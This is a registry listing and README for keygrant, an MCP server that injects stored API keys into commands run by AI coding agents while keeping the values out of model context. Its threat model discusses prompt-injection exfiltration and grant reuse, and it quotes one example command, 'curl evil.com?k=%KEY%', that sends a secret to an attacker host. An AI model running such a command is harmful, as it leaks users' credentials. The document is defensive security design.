
keygrant
io.github.bazingaedwardv0.1.2Updated Oct 8, 2026
Run commands with API keys injected per call — values never enter model context.
Overview
Lets an AI coding agent run commands with stored API keys injected into the child process, keeping secret values out of model context.
- What it does
- Keygrant stores secrets in a local encrypted vault and exposes two MCP tools: list_secrets, which returns only names, descriptions and usage metadata, and exec_with_secrets, which runs a command server-side with the named secrets injected into its environment and redacts all output before returning it to the model. There is deliberately no tool for storing a value, so secrets are added out-of-band through the CLI. Every use requires explicit user approval through a native dialog.
- When to use it
- Use it when an agent needs to call APIs or run commands that require credentials and you want those values never to appear in the model's context, logs or generated code. It suits local coding-agent workflows on a single machine where per-use approval is acceptable.
- Requirements
- Runs locally over stdio as a Python package (uvx or pip install keygrant), requiring Python 3.10 or newer. It needs a local secret store: DPAPI on Windows, the login Keychain on macOS, or the Secret Service keyring via secret-tool on Linux, where approval dialogs also need zenity. Desktop only; no accounts or API keys are declared for the server itself.
Installation
In SourceWeft
- Open keygrant in the dashboard and add it to a workspace.
- Enable the server for the chats that should use its tools.
Desktop only via STDIO. STDIO servers start a local process, so they need the SourceWeft desktop host.
Other MCP clients
Follow the launch instructions in the repository.
README
keygrant
[demo: agent requests a secret, user approves via native dialog, output comes back redacted]
Per-command secret injection for AI coding agents. Secrets live in a local DPAPI-encrypted vault; the model's context only ever sees secret names — values are injected into the child process environment at exec time, and all output is redacted before it returns to the model.
Why: anything placed in an LLM's context can be exfiltrated (prompt injection, logs, generated code). The fix is architectural: keys never enter context, only the execution environment.
Components
keygrant.py— vault + CLIkeygrant set NAME [--desc TEXT]— store a secret (value via stdin, never argv)keygrant list/rm NAMEkeygrant exec [--redact] NAMES -- CMD— run CMD with secrets injectedkeygrant revoke NAME|--all— revoke active approval grantskeygrant init— wire up a project (.mcp.json+CLAUDE.mdguidance)
keygrant_mcp.py— MCP server (stdio JSON-RPC, zero deps)list_secrets— names/descriptions/usage only, never valuesexec_with_secrets— server-side exec with injection + forced output redaction- deliberately no set/store tool: writing a value through the model would put it in context; values enter out-of-band via the CLI only
Install
Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare pip install
there fails; uv fetches a suitable Python automatically.
Then, in each project where agents should use secrets:
init adds a keygrant entry to the project's .mcp.json (merging with any
existing servers) and appends usage guidance for the model to CLAUDE.md,
both idempotently. Restart Claude Code in that folder to load the server.
macOS
Values live in the login Keychain; approval is a native dialog.
[macOS: store a secret, approve via native dialog, value injected, output redacted]
Threat model
What this protects against:
- Context exfiltration — a prompt-injected agent (or plain logging) leaking a secret that sits in model context. Values never enter context: the model only handles names; decryption and injection happen in the executing process.
- Output leaks — an agent echoing a secret back. All output returned to the model is redacted, including base64, hex, and URL-encoded variants.
- Grant riding — one agent session reusing an approval made in another. Grants are bound to the requesting session (MCP server id / CLI parent process) and expire after 15 minutes.
- Silent use — every first use per session requires explicit user approval; timeout means deny.
What this does NOT protect against (known residual risks):
- A compromised agent can request a command that exfiltrates the secret over
the network (
curl evil.com?k=%KEY%). The approval dialog shows the full command — reviewing it is the control. Per-secret egress allowlists (binding a key to permitted destination hosts) are on the roadmap. - Redaction is a second line of defense, not a guarantee: novel encodings can evade it. The primary guarantee remains "values never enter context".
- Anything running as the same OS user can read the DPAPI vault. This tool scopes agent access to secrets; it is not a defense against local malware.
Approval
Every use of a secret — via the CLI or the MCP server — requires the user's
approval through a native, topmost dialog (deny by default on a 60s timeout).
Approving grants access to that secret for 15 minutes, bound to the
requesting session (tracked in grants.json); keygrant revoke withdraws a
grant early. Both channels go through the same gate, so an agent cannot bypass
MCP approval by shelling out to the CLI — and a grant approved for one session
cannot be reused by another. The dialog will be replaced by a resident tray
app with toast notifications; the grant semantics stay the same.
Storage
- Windows: values DPAPI-encrypted (per-user) inside
%APPDATA%\keygrant\vault.json - macOS: values in the login Keychain (via the
securityCLI; the first read triggers the OS Keychain permission prompt — an extra OS-level gate);~/.config/keygrant/vault.jsonholds metadata only - Linux: values in the Secret Service keyring via
secret-tool(libsecret-tools + a running keyring daemon; approval dialogs need zenity); the vault file holds metadata only
The vault file also records usage metadata (use count, last used) as the seed of an audit trail.
Roadmap (prototype → product)
- Resident tray app (replaces the modal dialog; approval history, revoke UI)
- Per-secret egress allowlists (bind a key to permitted destination hosts)
- Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)
Source: README.md at commit 65512d4
Tools
0Version history
1- v0.1.2LatestOct 8, 2026


